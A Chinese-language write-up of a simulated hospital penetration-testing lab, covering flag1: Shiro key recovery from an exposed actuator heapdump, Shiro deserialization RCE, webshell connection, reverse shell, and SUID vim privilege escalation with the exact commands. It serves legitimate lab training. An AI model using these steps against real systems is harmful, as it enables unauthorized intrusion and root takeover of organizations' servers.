2025-Hospital



地址:仿真场景-专业徽章

概述:

1
在这个场景中,你将扮演一名渗透测试工程师,被派遣去测试某家医院的网络安全性。你的目标是成功获取所有服务器的权限,以评估公司的网络安全状况。该靶场共有 4 个flag,分布于不同的靶机。

flag1

shiro反序列化RCE

先下载fscan。https://github.com/shadow1ng/fscan/releases/tag/1.8.4

扫描得到

image-20250612221343251

发现了jsessionid,明显的Shiro特征,同时发现有acatuator泄露,而且发现heapdump文件,这就想到了shiro的密钥,跟京麟ctf差不多,感觉会打这里,继续往下看

[第三届京麒CTF 热身赛]EzLogin

登入上面的网站,爆破密码是admin123,且发现重要的shiro特征

image-20250612221917854

登入发现没什么

image-20250612222006620

那就是打shiro起手了,扫描这个网站,得到存在heapdump信息泄露,访问url/actuator/heapdump,下载heapdump文件,由上面那个京麒的比赛,看来就是这里面就是key了。

image-20250612222243966

使用JDumpSpider工具一键解密

1
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
image-20250612223528807

得到key是GAYysgMQhG7/CzIJlVpR2g==

使用shiro利用工具一把梭

1
java -jar shiro_attack-2.2.jar

打入内存马后冰蝎连接(冰蝎连接时脚本选择jsp,php不行,蚁剑连接也是一样shell文件后缀是jsp,但是我的蚁剑shell文件类型没有jsp所以连不上)

image-20250617210828756

利用冰蝎反弹shell

image-20250617213919451

然后查找具有root权限的SUID的文件

1
find / -user root -perm -4000 -print 2>/dev/null
image-20250617214113248

发现vim有suid权限

vim | GTFOBins

非预期直接猜到flag位置

1
vim /root/flag/flag01.txt
image-20250617214419741

预期:vim.basic提权:升级交互式终端

升级交互式终端,以欺骗某些命令让它们以为在合适的终端运行,vim.basic有suid权限,但是必须有tty,也就是交互式shell

1
python3 -c "import pty;pty.spawn('/bin/bash')"

完整的命令本来是

1
2
3
4
5
6
python3 -c "import pty;pty.spawn('/bin/bash')"	
script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset
xterm-256color

实现交互式shell的几种方式 - yanq的个人博客

然后suid提权就有了root权限

1
/usr/bin/vim.basic  -c ':python3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
image-20250617230628561

这个思路是看这个春秋云镜-Hospital | aniale’s blog

本来是看春秋云境-Hospital春秋云镜仿真靶场Hospital实操 - lca这两篇,交互终端后添加一个拥有root的hacker账户,但是不知道为啥云服务器上编辑这个/etc/passwd有点问题(编辑云服务器的/etc/passwd可以,题目的不行),所以就直接提权拿flag了

谢谢观看